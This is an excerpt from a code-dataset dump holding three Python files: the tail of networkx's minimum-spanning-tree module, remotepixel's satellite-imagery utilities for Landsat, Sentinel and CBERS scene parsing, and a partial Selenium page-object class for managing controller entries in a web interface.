(new_weight, next(c), v, w, d2))\n\n\nALGORITHMS = {\n    \"boruvka\": boruvka_mst_edges,\n    \"borůvka\": boruvka_mst_edges,\n    \"kruskal\": kruskal_mst_edges,\n    \"prim\": prim_mst_edges,\n}\n\n\n@not_implemented_for(\"directed\")\ndef minimum_spanning_edges(\n    G, algorithm=\"kruskal\", weight=\"weight\", keys=True, data=True, ignore_nan=False\n):\n    \"\"\"Generate edges in a minimum spanning forest of an undirected\n    weighted graph.\n\n    A minimum spanning tree is a subgraph of the graph (a tree)\n    with the minimum sum of edge weights.  A spanning forest is a\n    union of the spanning trees for each connected component of the graph.\n\n    Parameters\n    ----------\n    G : undirected Graph\n       An undirected graph. If `G` is connected, then the algorithm finds a\n       spanning tree. Otherwise, a spanning forest is found.\n\n    algorithm : string\n       The algorithm to use when finding a minimum spanning tree. Valid\n       choices are 'kruskal', 'prim', or 'boruvka'. The default is 'kruskal'.\n\n    weight : string\n       Edge data key to use for weight (default 'weight').\n\n    keys : bool\n       Whether to yield edge key in multigraphs in addition to the edge.\n       If `G` is not a multigraph, this is ignored.\n\n    data : bool, optional\n       If True yield the edge data along with the edge.\n\n    ignore_nan : bool (default: False)\n        If a NaN is found as an edge weight normally an exception is raised.\n        If `ignore_nan is True` then that edge is ignored instead.\n\n    Returns\n    -------\n    edges : iterator\n       An iterator over edges in a maximum spanning tree of `G`.\n       Edges connecting nodes `u` and `v` are represented as tuples:\n       `(u, v, k, d)` or `(u, v, k)` or `(u, v, d)` or `(u, v)`\n\n       If `G` is a multigraph, `keys` indicates whether the edge key `k` will\n       be reported in the third position in the edge tuple. `data` indicates\n       whether the edge datadict `d` will appear at the end of the edge tuple.\n\n       If `G` is not a multigraph, the tuples are `(u, v, d)` if `data` is True\n       or `(u, v)` if `data` is False.\n\n    Examples\n    --------\n    >>> from networkx.algorithms import tree\n\n    Find minimum spanning edges by Kruskal's algorithm\n\n    >>> G = nx.cycle_graph(4)\n    >>> G.add_edge(0, 3, weight=2)\n    >>> mst = tree.minimum_spanning_edges(G, algorithm=\"kruskal\", data=False)\n    >>> edgelist = list(mst)\n    >>> sorted(sorted(e) for e in edgelist)\n    [[0, 1], [1, 2], [2, 3]]\n\n    Find minimum spanning edges by Prim's algorithm\n\n    >>> G = nx.cycle_graph(4)\n    >>> G.add_edge(0, 3, weight=2)\n    >>> mst = tree.minimum_spanning_edges(G, algorithm=\"prim\", data=False)\n    >>> edgelist = list(mst)\n    >>> sorted(sorted(e) for e in edgelist)\n    [[0, 1], [1, 2], [2, 3]]\n\n    Notes\n    -----\n    For Borůvka's algorithm, each edge must have a weight attribute, and\n    each edge weight must be distinct.\n\n    For the other algorithms, if the graph edges do not have a weight\n    attribute a default weight of 1 will be used.\n\n    Modified code from David Eppstein, April 2006\n    http://www.ics.uci.edu/~eppstein/PADS/\n\n    \"\"\"\n    try:\n        algo = ALGORITHMS[algorithm]\n    except KeyError as err:\n        msg = f\"{algorithm} is not a valid choice for an algorithm.\"\n        raise ValueError(msg) from err\n\n    return algo(\n        G, minimum=True, weight=weight, keys=keys, data=data, ignore_nan=ignore_nan\n    )\n\n\n@not_implemented_for(\"directed\")\ndef maximum_spanning_edges(\n    G, algorithm=\"kruskal\", weight=\"weight\", keys=True, data=True, ignore_nan=False\n):\n    \"\"\"Generate edges in a maximum spanning forest of an undirected\n    weighted graph.\n\n    A maximum spanning tree is a subgraph of the graph (a tree)\n    with the maximum possible sum of edge weights.  A spanning forest is a\n    union of the spanning trees for each connected component of the graph.\n\n    Parameters\n    ----------\n    G : undirected Graph\n       An undirected graph. If `G` is connected, then the algorithm finds a\n       spanning tree. Otherwise, a spanning forest is found.\n\n    algorithm : string\n       The algorithm to use when finding a maximum spanning tree. Valid\n       choices are 'kruskal', 'prim', or 'boruvka'. The default is 'kruskal'.\n\n    weight : string\n       Edge data key to use for weight (default 'weight').\n\n    keys : bool\n       Whether to yield edge key in multigraphs in addition to the edge.\n       If `G` is not a multigraph, this is ignored.\n\n    data : bool, optional\n       If True yield the edge data along with the edge.\n\n    ignore_nan : bool (default: False)\n        If a NaN is found as an edge weight normally an exception is raised.\n        If `ignore_nan is True` then that edge is ignored instead.\n\n    Returns\n    -------\n    edges : iterator\n       An iterator over edges in a maximum spanning tree of `G`.\n       Edges connecting nodes `u` and `v` are represented as tuples:\n       `(u, v, k, d)` or `(u, v, k)` or `(u, v, d)` or `(u, v)`\n\n       If `G` is a multigraph, `keys` indicates whether the edge key `k` will\n       be reported in the third position in the edge tuple. `data` indicates\n       whether the edge datadict `d` will appear at the end of the edge tuple.\n\n       If `G` is not a multigraph, the tuples are `(u, v, d)` if `data` is True\n       or `(u, v)` if `data` is False.\n\n    Examples\n    --------\n    >>> from networkx.algorithms import tree\n\n    Find maximum spanning edges by Kruskal's algorithm\n\n    >>> G = nx.cycle_graph(4)\n    >>> G.add_edge(0, 3, weight=2)\n    >>> mst = tree.maximum_spanning_edges(G, algorithm=\"kruskal\", data=False)\n    >>> edgelist = list(mst)\n    >>> sorted(sorted(e) for e in edgelist)\n    [[0, 1], [0, 3], [1, 2]]\n\n    Find maximum spanning edges by Prim's algorithm\n\n    >>> G = nx.cycle_graph(4)\n    >>> G.add_edge(0, 3, weight=2)  # assign weight 2 to edge 0-3\n    >>> mst = tree.maximum_spanning_edges(G, algorithm=\"prim\", data=False)\n    >>> edgelist = list(mst)\n    >>> sorted(sorted(e) for e in edgelist)\n    [[0, 1], [0, 3], [2, 3]]\n\n    Notes\n    -----\n    For Borůvka's algorithm, each edge must have a weight attribute, and\n    each edge weight must be distinct.\n\n    For the other algorithms, if the graph edges do not have a weight\n    attribute a default weight of 1 will be used.\n\n    Modified code from David Eppstein, April 2006\n    http://www.ics.uci.edu/~eppstein/PADS/\n    \"\"\"\n    try:\n        algo = ALGORITHMS[algorithm]\n    except KeyError as err:\n        msg = f\"{algorithm} is not a valid choice for an algorithm.\"\n        raise ValueError(msg) from err\n\n    return algo(\n        G, minimum=False, weight=weight, keys=keys, data=data, ignore_nan=ignore_nan\n    )\n\n\ndef minimum_spanning_tree(G, weight=\"weight\", algorithm=\"kruskal\", ignore_nan=False):\n    \"\"\"Returns a minimum spanning tree or forest on an undirected graph `G`.\n\n    Parameters\n    ----------\n    G : undirected graph\n        An undirected graph. If `G` is connected, then the algorithm finds a\n        spanning tree. Otherwise, a spanning forest is found.\n\n    weight : str\n       Data key to use for edge weights.\n\n    algorithm : string\n       The algorithm to use when finding a minimum spanning tree. Valid\n       choices are 'kruskal', 'prim', or 'boruvka'. The default is\n       'kruskal'.\n\n    ignore_nan : bool (default: False)\n        If a NaN is found as an edge weight normally an exception is raised.\n        If `ignore_nan is True` then that edge is ignored instead.\n\n    Returns\n    -------\n    G : NetworkX Graph\n       A minimum spanning tree or forest.\n\n    Examples\n    --------\n    >>> G = nx.cycle_graph(4)\n    >>> G.add_edge(0, 3, weight=2)\n    >>> T = nx.minimum_spanning_tree(G)\n    >>> sorted(T.edges(data=True))\n    [(0, 1, {}), (1, 2, {}), (2, 3, {})]\n\n\n    Notes\n    -----\n    For Borůvka's algorithm, each edge must have a weight attribute, and\n    each edge weight must be distinct.\n\n    For the other algorithms, if the graph edges do not have a weight\n    attribute a default weight of 1 will be used.\n\n    There may be more than one tree with the same minimum or maximum weight.\n    See :mod:`networkx.tree.recognition` for more detailed definitions.\n\n    Isolated nodes with self-loops are in the tree as edgeless isolated nodes.\n\n    \"\"\"\n    edges = minimum_spanning_edges(\n        G, algorithm, weight, keys=True, data=True, ignore_nan=ignore_nan\n    )\n    T = G.__class__()  # Same graph class as G\n    T.graph.update(G.graph)\n    T.add_nodes_from(G.nodes.items())\n    T.add_edges_from(edges)\n    return T\n\n\ndef partition_spanning_tree(\n    G, minimum=True, weight=\"weight\", partition=\"partition\", ignore_nan=False\n):\n    \"\"\"\n    Find a spanning tree while respecting a partition of edges.\n\n    Edges can be flagged as either `INLCUDED` which are required to be in the\n    returned tree, `EXCLUDED`, which cannot be in the returned tree and `OPEN`.\n\n    This is used in the SpanningTreeIterator to create new partitions following\n    the algorithm of Sörensen and Janssens [1]_.\n\n    Parameters\n    ----------\n    G : undirected graph\n        An undirected graph.\n\n    minimum : bool (default: True)\n        Determines whether the returned tree is the minimum spanning tree of\n        the partition of the maximum one.\n\n    weight : str\n        Data key to use for edge weights.\n\n    partition : str\n        The key for the edge attribute containing the partition\n        data on the graph. Edges can be included, excluded or open using the\n        `EdgePartition` enum.\n\n    ignore_nan : bool (default: False)\n        If a NaN is found as an edge weight normally an exception is raised.\n        If `ignore_nan is True` then that edge is ignored instead.\n\n\n    Returns\n    -------\n    G : NetworkX Graph\n        A minimum spanning tree using all of the included edges in the graph and\n        none of the excluded edges.\n\n    References\n    ----------\n    .. [1] G.K. Janssens, K. Sörensen, An algorithm to generate all spanning\n           trees in order of increasing cost, Pesquisa Operacional, 2005-08,\n           Vol. 25 (2), p. 219-229,\n           https://www.scielo.br/j/pope/a/XHswBwRwJyrfL88dmMwYNWp/?lang=en\n    \"\"\"\n    edges = kruskal_mst_edges(\n        G,\n        minimum,\n        weight,\n        keys=True,\n        data=True,\n        ignore_nan=ignore_nan,\n        partition=partition,\n    )\n    T = G.__class__()  # Same graph class as G\n    T.graph.update(G.graph)\n    T.add_nodes_from(G.nodes.items())\n    T.add_edges_from(edges)\n    return T\n\n\ndef maximum_spanning_tree(G, weight=\"weight\", algorithm=\"kruskal\", ignore_nan=False):\n    \"\"\"Returns a maximum spanning tree or forest on an undirected graph `G`.\n\n    Parameters\n    ----------\n    G : undirected graph\n        An undirected graph. If `G` is connected, then the algorithm finds a\n        spanning tree. Otherwise, a spanning forest is found.\n\n    weight : str\n       Data key to use for edge weights.\n\n    algorithm : string\n       The algorithm to use when finding a maximum spanning tree. Valid\n       choices are 'kruskal', 'prim', or 'boruvka'. The default is\n       'kruskal'.\n\n    ignore_nan : bool (default: False)\n        If a NaN is found as an edge weight normally an exception is raised.\n        If `ignore_nan is True` then that edge is ignored instead.\n\n\n    Returns\n    -------\n    G : NetworkX Graph\n       A maximum spanning tree or forest.\n\n\n    Examples\n    --------\n    >>> G = nx.cycle_graph(4)\n    >>> G.add_edge(0, 3, weight=2)\n    >>> T = nx.maximum_spanning_tree(G)\n    >>> sorted(T.edges(data=True))\n    [(0, 1, {}), (0, 3, {'weight': 2}), (1, 2, {})]\n\n\n    Notes\n    -----\n    For Borůvka's algorithm, each edge must have a weight attribute, and\n    each edge weight must be distinct.\n\n    For the other algorithms, if the graph edges do not have a weight\n    attribute a default weight of 1 will be used.\n\n    There may be more than one tree with the same minimum or maximum weight.\n    See :mod:`networkx.tree.recognition` for more detailed definitions.\n\n    Isolated nodes with self-loops are in the tree as edgeless isolated nodes.\n\n    \"\"\"\n    edges = maximum_spanning_edges(\n        G, algorithm, weight, keys=True, data=True, ignore_nan=ignore_nan\n    )\n    edges = list(edges)\n    T = G.__class__()  # Same graph class as G\n    T.graph.update(G.graph)\n    T.add_nodes_from(G.nodes.items())\n    T.add_edges_from(edges)\n    return T\n\n\nclass SpanningTreeIterator:\n    \"\"\"\n    Iterate over all spanning trees of a graph in either increasing or\n    decreasing cost.\n\n    Notes\n    -----\n    This iterator uses the partition scheme from [1]_ (included edges,\n    excluded edges and open edges) as well as a modified Kruskal's Algorithm\n    to generate minimum spanning trees which respect the partition of edges.\n    For spanning trees with the same weight, ties are broken arbitrarily.\n\n    References\n    ----------\n    .. [1] G.K. Janssens, K. Sörensen, An algorithm to generate all spanning\n           trees in order of increasing cost, Pesquisa Operacional, 2005-08,\n           Vol. 25 (2), p. 219-229,\n           https://www.scielo.br/j/pope/a/XHswBwRwJyrfL88dmMwYNWp/?lang=en\n    \"\"\"\n\n    @dataclass(order=True)\n    class Partition:\n        \"\"\"\n        This dataclass represents a partition and stores a dict with the edge\n        data and the weight of the minimum spanning tree of the partition dict.\n        \"\"\"\n\n        mst_weight: float\n        partition_dict: dict = field(compare=False)\n\n        def __copy__(self):\n            return SpanningTreeIterator.Partition(\n                self.mst_weight, self.partition_dict.copy()\n            )\n\n    def __init__(self, G, weight=\"weight\", minimum=True, ignore_nan=False):\n        \"\"\"\n        Initialize the iterator\n\n        Parameters\n        ----------\n        G : nx.Graph\n            The directed graph which we need to iterate trees over\n\n        weight : String, default = \"weight\"\n            The edge attribute used to store the weight of the edge\n\n        minimum : bool, default = True\n            Return the trees in increasing order while true and decreasing order\n            while false.\n\n        ignore_nan : bool, default = False\n            If a NaN is found as an edge weight normally an exception is raised.\n            If `ignore_nan is True` then that edge is ignored instead.\n        \"\"\"\n        self.G = G.copy()\n        self.weight = weight\n        self.minimum = minimum\n        self.ignore_nan = ignore_nan\n        # Randomly create a key for an edge attribute to hold the partition data\n        self.partition_key = (\n            \"SpanningTreeIterators super secret partition attribute name\"\n        )\n\n    def __iter__(self):\n        \"\"\"\n        Returns\n        -------\n        SpanningTreeIterator\n            The iterator object for this graph\n        \"\"\"\n        self.partition_queue = PriorityQueue()\n        self._clear_partition(self.G)\n        mst_weight = partition_spanning_tree(\n            self.G, self.minimum, self.weight, self.partition_key, self.ignore_nan\n        ).size(weight=self.weight)\n\n        self.partition_queue.put(\n            self.Partition(mst_weight if self.minimum else -mst_weight, dict())\n        )\n\n        return self\n\n    def __next__(self):\n        \"\"\"\n        Returns\n        -------\n        (multi)Graph\n            The spanning tree of next greatest weight, which ties broken\n            arbitrarily.\n        \"\"\"\n        if self.partition_queue.empty():\n            del self.G, self.partition_queue\n            raise StopIteration\n\n        partition = self.partition_queue.get()\n        self._write_partition(partition)\n        next_tree = partition_spanning_tree(\n            self.G, self.minimum, self.weight, self.partition_key, self.ignore_nan\n        )\n        self._partition(partition, next_tree)\n\n        self._clear_partition(next_tree)\n        return next_tree\n\n    def _partition(self, partition, partition_tree):\n        \"\"\"\n        Create new partitions based of the minimum spanning tree of the\n        current minimum partition.\n\n        Parameters\n        ----------\n        partition : Partition\n            The Partition instance used to generate the current minimum spanning\n            tree.\n        partition_tree : nx.Graph\n            The minimum spanning tree of the input partition.\n        \"\"\"\n        # create two new partitions with the data from the input partition dict\n        p1 = self.Partition(0, partition.partition_dict.copy())\n        p2 = self.Partition(0, partition.partition_dict.copy())\n        for e in partition_tree.edges:\n            # determine if the edge was open or included\n            if e not in partition.partition_dict:\n                # This is an open edge\n                p1.partition_dict[e] = EdgePartition.EXCLUDED\n                p2.partition_dict[e] = EdgePartition.INCLUDED\n\n                self._write_partition(p1)\n                p1_mst = partition_spanning_tree(\n                    self.G,\n                    self.minimum,\n                    self.weight,\n                    self.partition_key,\n                    self.ignore_nan,\n                )\n                p1_mst_weight = p1_mst.size(weight=self.weight)\n                if nx.is_connected(p1_mst):\n                    p1.mst_weight = p1_mst_weight if self.minimum else -p1_mst_weight\n                    self.partition_queue.put(p1.__copy__())\n                p1.partition_dict = p2.partition_dict.copy()\n\n    def _write_partition(self, partition):\n        \"\"\"\n        Writes the desired partition into the graph to calculate the minimum\n        spanning tree.\n\n        Parameters\n        ----------\n        partition : Partition\n            A Partition dataclass describing a partition on the edges of the\n            graph.\n        \"\"\"\n        for u, v, d in self.G.edges(data=True):\n            if (u, v) in partition.partition_dict:\n                d[self.partition_key] = partition.partition_dict[(u, v)]\n            else:\n                d[self.partition_key] = EdgePartition.OPEN\n\n    def _clear_partition(self, G):\n        \"\"\"\n        Removes partition data from the graph\n        \"\"\"\n        for u, v, d in G.edges(data=True):\n            if self.partition_key in d:\n                del d[self.partition_key]\n","sub_path":"networkx/algorithms/tree/mst.py","file_name":"mst.py","file_ext":"py","file_size_in_byte":29876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"592800536","text":"import os\nimport re\nimport json\nimport datetime\n\nfrom urllib.request import urlopen\n\nimport numpy as np\n\nimport rasterio\nfrom rasterio.vrt import WarpedVRT\nfrom rasterio.enums import Resampling\nfrom rasterio.warp import transform_bounds\n\nfrom rio_toa import toa_utils\n\nfrom remotepixel import aws\n\n\ndef get_colormap(cmap_file=None):\n    \"\"\"\n    \"\"\"\n    if cmap_file is None:\n        cmap_file = os.path.join(os.path.dirname(__file__), 'data', 'cmap.txt')\n    with open(cmap_file) as cmap:\n        lines = cmap.read().splitlines()\n        colormap = [list(map(int, line.split())) for line in lines if not line.startswith('#')][1:]\n\n    return colormap\n\n\ndef get_area(address, bbox, max_img_size=512, bbox_crs='epsg:4326', out_crs='epsg:3857', nodata=0):\n    \"\"\"\n    \"\"\"\n    bounds = transform_bounds(bbox_crs, out_crs, *bbox, densify_pts=21)\n    with rasterio.open(address) as src:\n        with WarpedVRT(src, crs=out_crs, resampling=Resampling.bilinear,\n                       src_nodata=nodata, nodata=nodata) as vrt:\n            window = vrt.window(*bounds, precision=21)\n            width = round(window.width) if window.width < max_img_size else max_img_size\n            height = round(window.height) if window.height < max_img_size else max_img_size\n            matrix = vrt.read(window=window,\n                              boundless=False,\n                              out_shape=(1, height, width),\n                              indexes=[1],\n                              resampling=Resampling.bilinear)\n\n        return matrix\n\n\ndef get_overview(address, ovrSize):\n    \"\"\"\n    \"\"\"\n    with rasterio.open(address) as src:\n        matrix = src.read(indexes=[1],\n                          out_shape=(1, ovrSize, ovrSize),\n                          resampling=Resampling.bilinear)\n\n        return matrix\n\n\ndef linear_rescale(image, in_range=[0, 16000], out_range=[1, 255]):\n    \"\"\"\n    Linear rescaling\n    \"\"\"\n\n    imin, imax = in_range\n    omin, omax = out_range\n    image = np.clip(image, imin, imax) - imin\n    image = image / float(imax - imin)\n\n    return (image * (omax - omin) + omin)\n\n\ndef zeroPad(n, l):\n    \"\"\" Add leading 0\n    \"\"\"\n    return str(n).zfill(l)\n\n\ndef sentinel2_get_info(bucket, scene_path, request_pays=True):\n    \"\"\"return Sentinel metadata\n    \"\"\"\n    data = json.loads(aws.get_object(bucket, f'{scene_path}/tileInfo.json',\n                                     request_pays=request_pays))\n    return {\n        'sat': data['productName'][0:3],\n        'coverage': data.get('dataCoveragePercentage'),\n        'cloud_coverage': data.get('cloudyPixelPercentage')}\n\n\ndef landsat_get_mtl(sceneid):\n    \"\"\"Get Landsat-8 MTL metadata\n\n    Attributes\n    ----------\n\n    sceneid : str\n        Landsat sceneid. For scenes after May 2017,\n        sceneid have to be LANDSAT_PRODUCT_ID.\n\n    Returns\n    -------\n    out : dict\n        returns a JSON like object with the metadata.\n    \"\"\"\n\n    try:\n        scene_params = landsat_parse_scene_id(sceneid)\n        meta_file = 'http://landsat-pds.s3.amazonaws.com/{}_MTL.txt'.format(scene_params['key'])\n        metadata = str(urlopen(meta_file).read().decode())\n        return toa_utils._parse_mtl_txt(metadata)\n    except:\n        raise Exception('Could not retrieve {} metadata'.format(sceneid))\n\n\ndef landsat_parse_scene_id(sceneid):\n    \"\"\"\n    Author @perrygeo - http://www.perrygeo.com\n\n    parse scene id\n    \"\"\"\n\n    if not re.match('^(L[COTEM]8\\d{6}\\d{7}[A-Z]{3}\\d{2})|(L[COTEM]08_L\\d{1}[A-Z]{2}_\\d{6}_\\d{8}_\\d{8}_\\d{2}_(T1|T2|RT))$', sceneid):\n        raise ValueError(f'Could not match {sceneid}')\n\n    precollection_pattern = (\n        r'^L'\n        r'(?P<sensor>\\w{1})'\n        r'(?P<satellite>\\w{1})'\n        r'(?P<path>[0-9]{3})'\n        r'(?P<row>[0-9]{3})'\n        r'(?P<acquisitionYear>[0-9]{4})'\n        r'(?P<acquisitionJulianDay>[0-9]{3})'\n        r'(?P<groundStationIdentifier>\\w{3})'\n        r'(?P<archiveVersion>[0-9]{2})$')\n\n    collection_pattern = (\n        r'^L'\n        r'(?P<sensor>\\w{1})'\n        r'(?P<satellite>\\w{2})'\n        r'_'\n        r'(?P<processingCorrectionLevel>\\w{4})'\n        r'_'\n        r'(?P<path>[0-9]{3})'\n        r'(?P<row>[0-9]{3})'\n        r'_'\n        r'(?P<acquisitionYear>[0-9]{4})'\n        r'(?P<acquisitionMonth>[0-9]{2})'\n        r'(?P<acquisitionDay>[0-9]{2})'\n        r'_'\n        r'(?P<processingYear>[0-9]{4})'\n        r'(?P<processingMonth>[0-9]{2})'\n        r'(?P<processingDay>[0-9]{2})'\n        r'_'\n        r'(?P<collectionNumber>\\w{2})'\n        r'_'\n        r'(?P<collectionCategory>\\w{2})$')\n\n    meta = None\n    for pattern in [collection_pattern, precollection_pattern]:\n        match = re.match(pattern, sceneid, re.IGNORECASE)\n        if match:\n            meta = match.groupdict()\n            break\n\n    if not meta:\n        raise ValueError(f'Could not match {sceneid}')\n\n    if meta.get('acquisitionJulianDay'):\n        date = datetime.datetime(int(meta['acquisitionYear']), 1, 1) \\\n            + datetime.timedelta(int(meta['acquisitionJulianDay']) - 1)\n\n        meta['date'] = date.strftime('%Y-%m-%d')\n    else:\n        meta['date'] = f'{meta.get(\"acquisitionYear\")}-{meta.get(\"acquisitionMonth\")}-{meta.get(\"acquisitionDay\")}'\n\n    collection = meta.get('collectionNumber', '')\n    if collection != '':\n        collection = f'c{int(collection)}'\n\n    meta['key'] = os.path.join(collection, 'L8', meta['path'], meta['row'], sceneid, sceneid)\n    meta['scene'] = sceneid\n\n    return meta\n\n\ndef sentinel_parse_scene_id(sceneid):\n    \"\"\"\n    parse scene id\n    \"\"\"\n\n    if not re.match('^S2[AB]_tile_[0-9]{8}_[0-9]{2}[A-Z]{3}_[0-9]$', sceneid):\n        raise ValueError(f'Could not match {sceneid}')\n\n    sentinel_pattern = (\n        r'^S'\n        r'(?P<sensor>\\w{1})'\n        r'(?P<satellite>[AB]{1})'\n        r'_tile_'\n        r'(?P<acquisitionYear>[0-9]{4})'\n        r'(?P<acquisitionMonth>[0-9]{2})'\n        r'(?P<acquisitionDay>[0-9]{2})'\n        r'_'\n        r'(?P<utm>[0-9]{2})'\n        r'(?P<sq>\\w{1})'\n        r'(?P<lat>\\w{2})'\n        r'_'\n        r'(?P<num>[0-9]{1})$')\n\n    meta = None\n    match = re.match(sentinel_pattern, sceneid, re.IGNORECASE)\n    if match:\n        meta = match.groupdict()\n\n    utm = meta['utm']\n    sq = meta['sq']\n    lat = meta['lat']\n    year = meta['acquisitionYear']\n    m = meta['acquisitionMonth'].lstrip(\"0\")\n    d = meta['acquisitionDay'].lstrip(\"0\")\n    n = meta['num']\n\n    meta['key'] = f'tiles/{utm}/{sq}/{lat}/{year}/{m}/{d}/{n}'\n\n    return meta\n\n\ndef cbers_parse_scene_id(sceneid):\n    \"\"\"Parse CBERS scene id\"\"\"\n\n    if not re.match('^CBERS_4_MUX_[0-9]{8}_[0-9]{3}_[0-9]{3}_L[0-9]$', sceneid):\n        raise ValueError('Could not match {}'.format(sceneid))\n\n    cbers_pattern = (\n        r'(?P<sensor>\\w{5})'\n        r'_'\n        r'(?P<satellite>[0-9]{1})'\n        r'_'\n        r'(?P<intrument>\\w{3})'\n        r'_'\n        r'(?P<acquisitionYear>[0-9]{4})'\n        r'(?P<acquisitionMonth>[0-9]{2})'\n        r'(?P<acquisitionDay>[0-9]{2})'\n        r'_'\n        r'(?P<path>[0-9]{3})'\n        r'_'\n        r'(?P<row>[0-9]{3})'\n        r'_'\n        r'(?P<processingCorrectionLevel>L[0-9]{1})$')\n\n    meta = None\n    match = re.match(cbers_pattern, sceneid, re.IGNORECASE)\n    if match:\n        meta = match.groupdict()\n\n    path = meta['path']\n    row = meta['row']\n    meta['key'] = 'CBERS4/MUX/{}/{}/{}'.format(path, row, sceneid)\n\n    meta['scene'] = sceneid\n\n    return meta\n","sub_path":"remotepixel/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"491067266","text":"import logging\nimport string\nimport time\n\nfrom base.basepage import BasePage\nfrom base.selenium_driver import SeleniumDriver\nimport utilities.custom_logger as cl\nfrom asyncio.tasks import sleep\n\n\nclass ControllerPages(BasePage,SeleniumDriver):\n\n    log = cl.customLogger(logging.DEBUG)\n\n    def __init__(self, driver):\n        super().__init__(driver)\n        self.driver = driver\n\n        #Locator\n    # _whatfix = \".//button[@class='WFSTCY']\" \n    #_iframe =\".//*[@id='wfx-frame-smartPopup']\" \n    _controllers_gateways_menu = \".//i[@class='icons ion-gear-a']\"    \n    _controller_menu = \".//a[contains(text(),'Controllers')]\"\n    _add_button = \".//button[contains(text(),'Add')]\"   \n    _heading_text=\".//h2[contains(text(),'Add Controller')]\"\n    _cloudServer_field = \".//div[@class='selectize-input']\"\n    _cloudServer_list = \".//div[@role='option']\"\n    _name_field = \".//*[@id='vpn_name']\"    \n    _protocol_field = \".//*[@id='protocol']/option\"\n    _portNumber_field = \".//*[@id='port']\"\n    _internalNetwork_field = \".//*[@id='network']\"\n    _netmaskBit_field = \".//div[@name='netmask_bits']/descendant::div[@class='selectize-input']\"\n    _netmaskBit_list = \".//div[@role='option']\"\n    _save_button =\".//button[@type='submit']\"\n    _controller_entry = \".//a[contains(text(),'controller')]\"\n    _close_addwindow = \".//a[@class='close_slide ion-android-close']\"\n    _checkBox_single = \".//a[contains(text(),'controller')]/parent::*/..//input[@type='checkbox']\"\n    _checkBox_selectAll = \".//input[@ng-model='selectedAll']\"\n    _delete_button = \".//button[contains(text(),'Delete')]\"\n    \n            \n    def clickAddButton(self):\n        self.waitForElement(self._add_button, locatorType=\"Xpath\", pollFrequency=1) \n        self.elementClick(self._add_button, locatorType=\"xpath\")\n  \n    def verifyAddWindow(self):\n        heading = self.isElementPresent(self._heading_text, locatorType=\"Xpath\")\n        self.log.info(\"Add window appear status is \" + str(heading))\n        \n    def selectCloudServerDropDown(self, cloudServer):\n        self.elementClick( self._cloudServer_field, locatorType=\"xpath\")\n        self.singleSelect_set_selections( self._cloudServer_list, locatorType=\"xpath\",searchfor=cloudServer )\n        \n    def enterControllerName(self, controller):\n        self.sendKeys(controller, self._name_field, locatorType=\"xpath\", element=\"controller name\")\n        \n    def selectProtocol(self, protocol):\n        self.singleSelect_set_selections(self._protocol_field, locatorType=\"xpath\", searchfor=protocol)\n     \n    def enterPortNumber(self, port):\n        self.sendKeys(port, self._portNumber_field, locatorType=\"xpath\")\n     \n    def enterInternalNetwork(self, ip):\n        self.sendKeys(ip, self._internalNetwork_field, locatorType=\"xpath\")\n     \n    def enterNetmaskBit(self, netmaskBit):\n        self.elementClick( self._netmaskBit_field, locatorType=\"xpath\")\n        self.singleSelect_set_selections(self._netmaskBit_list, locatorType=\"xpath\", searchfor=netmaskBit)\n        \n    def clickSaveButton(self):\n        self.elementClick(locator =self._save_button, locatorType=\"Xpath\")    \n\n    def closeAddWindow(self):\n        self.elementClick(locator= self._close_addwindow, locatorType=\"Xpath\", element=\"closeAddWindow\")\n            \n    def verify_Controller_entry(self, name):\n        controller_entry = self._controller_entry.replace(\"controller\", name)\n        self.log.info(\"new Xpath of controller :- \" + controller_entry)\n        self.waitForElement(locator= controller_entry, locatorType=\"Xpath\", timeout=30, pollFrequency=1)\n        return self.isElementPresent(locator= controller_entry, locatorType=\"Xpath\", element= \"none\")\n        \n    def clearFields(self):\n        portNumberField = self.getElement(locator=self._portNumber_field,locatorType=\"xpath\")\n        portNumberField.clear()\n    \n    def checkbox(self,locator):\n        self.elementClick(locator=\"\", locatorType=\"Xpath\", element=\"checkBox\")\n\n    def update_xpath(self,old_xpath,text_to_update,name):\n        new_xpath = old_xpath.replace(\"text_to_update\", name)\n        self.log.info(\"Updated Xpath is as follow \" + new_xpath)        \n        return new_xpath\n    \n    # def check_for_element_precence(self,):\n            \n    def select_check_box(self,new_xpath,name):\n        self.waitForElement(locator= new_xpath, locatorType=\"Xpath\", timeout=30, pollFrequency=1)\n        #self.isElementPresent(locator= new_xpath, locatorType=\"Xpath\", element= \"name\"):\n        self.elementClick(locator=new_xpath, locatorType=\"Xpath\", element=name)\n        self.log.info(\"related check box selected successfully\")  \n                \n    def delete_entries(self,new_xpath):\n        self.waitForElement(locator= new_xpath, locatorType=\"Xpath\", element= \"xpath of new entry\")\n        self.elementClick(locator=self._delete_button, locatorType=\"Xpath\", element=\"delete button\") \n        self.log.info(\"successfully clicked on delete button\")     \n ##--------------------------------------------------------------------------------------------------------------------##\n \n    def close_Whatfix_Windows(self):\n        self.log.info(\"waiting for the element\")\n        time.sleep(10)\n        self.switch_to(locator=self._iframe,locatorType=\"Xpath\")\n        self.log.info(\"switching frame now\")        \n        self.elementClick(locator=self._whatfix, locatorType=\"Xpath\", element=\"whatfix\")\n        self.switch_to_default()\n\n    def navigateControllerPage(self):\n        time.sleep(4)\n        self.waitForElement(self._controllers_gateways_menu, locatorType=\"Xpath\", pollFrequency=1) \n        self.elementClick(self._controllers_gateways_menu, locatorType=\"Xpath\", element=\"controller_&_gateway_button\")\n        self.waitForElement(self._controller_menu, locatorType=\"Xpath\", pollFrequency=1)         \n        self.elementClick(self._controller_menu, locatorType=\"Xpath\", element = \"controller_button\")\n        #self.verifyPageTitle(self, \"titleToVerify\")\n\n    def navigate_to_Controller_Add_window(self):    \n        self.navigateControllerPage()\n        self.clickAddButton()\n        self.verifyAddWindow()           \n      \n    def add_Single_Controller(self, cloudServer=\"\", controllerName=\"\", protocol=\"\", port =\"\", internalNetwork=\"\", netmaskBit=\"\" ):    \n        time.sleep(2)\n        self.log.info(\"clear all data field\")\n        self.clearFields()\n        self.log.info(\"select cloud server\")\n        self.selectCloudServerDropDown(cloudServer)\n        self.log.info(\"Enter controller name\")\n        self.enterControllerName(controllerName)\n        self.log.info(\"select protocol\")\n        self.selectProtocol(protocol)\n        self.log.info(\"enter port number\")\n        self.enterPortNumber(port)\n        self.log.info(\"enter IP address / network address\")\n        self.enterInternalNetwork(internalNetwork)\n        self.log.info(\"enter net mask bit\")\n        